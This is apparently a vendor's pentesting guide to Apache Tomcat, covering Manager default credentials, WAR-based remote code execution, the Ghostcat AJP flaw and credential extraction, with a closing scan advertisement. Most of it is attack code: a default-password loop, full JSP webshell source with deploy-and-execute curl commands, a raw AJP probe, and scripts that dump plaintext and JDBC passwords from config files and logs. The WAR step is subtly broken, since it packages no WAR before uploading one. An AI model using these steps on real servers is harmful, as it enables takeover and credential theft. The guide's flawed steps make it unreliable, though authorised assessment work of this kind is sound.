Apache Tomcat is the most widely deployed Java application server — virtually every Java web application runs on Tomcat. The Manager application at /manager/ frequently uses default credentials (tomcat/tomcat, admin/admin) allowing WAR file deployment as a direct path to remote code execution. Additional high-value targets: CVE-2020-1938 Ghostcat allows unauthenticated file read via AJP port 8009; server.xml exposes JDBC database connection pool credentials; and tomcat-users.xml stores credentials in plaintext. This guide covers systematic Apache Tomcat security assessment.
# Apache Tomcat — Manager application default credentials and WAR upload RCE
TC_URL="http://tomcat.example.com:8080"
# Check if Manager application is accessible
curl -s -o /dev/null -w "%{http_code}" "${TC_URL}/manager/html" 2>/dev/null
# 401 = Manager exists but requires authentication
# 404 = Manager not deployed (not necessarily safe — may be on different path)
# 200 = Manager accessible without auth (very dangerous)
# Test default Manager credentials
for CRED in "tomcat:tomcat" "admin:admin" "manager:manager" "admin:password" "tomcat:s3cr3t" "both:tomcat"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${TC_URL}/manager/html" \
-u "${USER}:${PASS}" 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
[ "$STATUS" = "200" ] && echo " SUCCESS! Manager accessible"
done
# WAR upload RCE — deploy a JSP webshell via Tomcat Manager
# Using Manager text API (no browser required)
TC_USER="tomcat"
TC_PASS="tomcat"
# Create a minimal JSP webshell WAR
# In a real pentest, use msfvenom or similar to create WAR payload
cat > /tmp/shell.jsp << 'SHELLEOF'
<%@ page import="java.io.*" %>
<% String cmd = request.getParameter("cmd"); if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String line;while((line=br.readLine())!=null)out.println(line);} %>
SHELLEOF
# Deploy WAR via Manager text API
curl -s "${TC_URL}/manager/text/deploy?path=/shell&update=true" \
-u "${TC_USER}:${TC_PASS}" \
--upload-file /tmp/shell.war 2>/dev/null
# Execute commands via deployed webshell
curl -s "${TC_URL}/shell/shell.jsp?cmd=id" 2>/dev/null
curl -s "${TC_URL}/shell/shell.jsp?cmd=whoami" 2>/dev/null
# List all deployed applications
curl -s "${TC_URL}/manager/text/list" \
-u "${TC_USER}:${TC_PASS}" 2>/dev/null
# Apache Tomcat — Ghostcat CVE-2020-1938 and AJP connector assessment
# CVE-2020-1938 — Ghostcat: unauthenticated AJP file read
# Affects Tomcat 6.x, 7.x < 7.0.100, 8.x < 8.5.51, 9.x < 9.0.31
# AJP connector on port 8009 allows reading any file in the webapp root
# Check if AJP port 8009 is open
nc -zv tomcat.example.com 8009 2>/dev/null
nmap -p 8009 tomcat.example.com --open 2>/dev/null
# Ghostcat exploitation — read WEB-INF/web.xml (webapp configuration)
# Using the Ghostcat PoC (install: pip3 install ajpy)
python3 -c "
# Simplified Ghostcat check — test if AJP port is open and responding
import socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('tomcat.example.com', 8009))
print('AJP port 8009 OPEN — potential Ghostcat vulnerability')
# Send AJP13 FORWARD_REQUEST
# AJP13 magic: 0x1234
s.send(b'\x12\x34\x00\x10\x02\x02\x00\x05/test\x00\x00\x00\x00\xff')
response = s.recv(1024)
print(f'Response: {response[:20]}')
s.close()
except Exception as e:
print(f'Error: {e}')
" 2>/dev/null
# Tomcat version disclosure
curl -s -o /dev/null -D - "http://tomcat.example.com:8080/nonexistent" 2>/dev/null | grep -i "server:"
# Server: Apache-Coyote/1.1 <-- older Tomcat (remove with server="" in Connector)
# Cross-reference version against CVE database (Ghostcat, Log4Shell affecting apps, etc.)
# Apache Tomcat — server.xml JDBC credentials and tomcat-users.xml extraction
# tomcat-users.xml — Tomcat Manager and Host Manager credentials (PLAINTEXT)
cat /opt/tomcat/conf/tomcat-users.xml 2>/dev/null
cat /etc/tomcat9/tomcat-users.xml 2>/dev/null
cat /var/lib/tomcat9/conf/tomcat-users.xml 2>/dev/null
#
#
# Credentials are ALWAYS in plaintext in this file
# server.xml — JDBC connection pool credentials in Resource elements
cat /opt/tomcat/conf/server.xml 2>/dev/null | \
python3 -c "
import xml.etree.ElementTree as ET, sys
try:
tree = ET.parse('/opt/tomcat/conf/server.xml')
root = tree.getroot()
for resource in root.iter('Resource'):
rtype = resource.get('type','')
if 'DataSource' in rtype or 'sql' in rtype.lower():
print(f'DataSource: {resource.get(\"name\")}')
print(f' URL: {resource.get(\"url\",\"\")}')
print(f' Username: {resource.get(\"username\",\"\")}')
print(f' Password: {resource.get(\"password\",\"\")}')
except: pass
" 2>/dev/null
# context.xml — per-application JDBC credentials
find /opt/tomcat/webapps /var/lib/tomcat9/webapps -name "context.xml" 2>/dev/null | while read F; do
echo "=== $F ==="
python3 -c "
import xml.etree.ElementTree as ET
try:
tree = ET.parse('${F}')
for r in tree.getroot().iter('Resource'):
if r.get('password'):
print(f' Password: {r.get(\"password\")}')
print(f' URL: {r.get(\"url\")}')
except: pass
" 2>/dev/null
done
# catalina.out — Tomcat log file (application errors with credentials)
tail -100 /opt/tomcat/logs/catalina.out 2>/dev/null | \
grep -iE "password|credentials|exception|error" | head -20
| Security Test | Method | Risk |
|---|---|---|
| Manager application default credentials WAR upload RCE | GET /manager/html with tomcat/tomcat, admin/admin — WAR deployment enables arbitrary Java/JSP code execution on the server; full server compromise | Critical |
| CVE-2020-1938 Ghostcat AJP unauthenticated file read (port 8009) | AJP13 request to port 8009 — read any file in webapp root including WEB-INF/web.xml, application.properties with database credentials | Critical |
| tomcat-users.xml plaintext credential extraction | Read conf/tomcat-users.xml — all Manager and Host Manager credentials in plaintext; WAR deployment and admin panel access without brute-force | Critical |
| server.xml JDBC DataSource password extraction | Read conf/server.xml Resource elements — JDBC database connection pool credentials; full application database access | High |
| Default examples/ application XSS and session attacks | GET /examples/jsp/ — request parameter XSS via JSP session examples; session manipulation demonstrations that still function | Medium |
Ironimo tests Apache Tomcat deployments for Manager application default credential testing (tomcat/tomcat, admin/admin, manager/manager), WAR upload RCE path assessment, CVE-2020-1938 Ghostcat AJP port 8009 file read, tomcat-users.xml plaintext credential extraction, server.xml JDBC DataSource password disclosure, context.xml per-application database credential exposure, Tomcat version disclosure for CVE matching, /examples/ application accessibility, JMX remote management authentication assessment, and catalina.out log credential pattern analysis.
Start free scan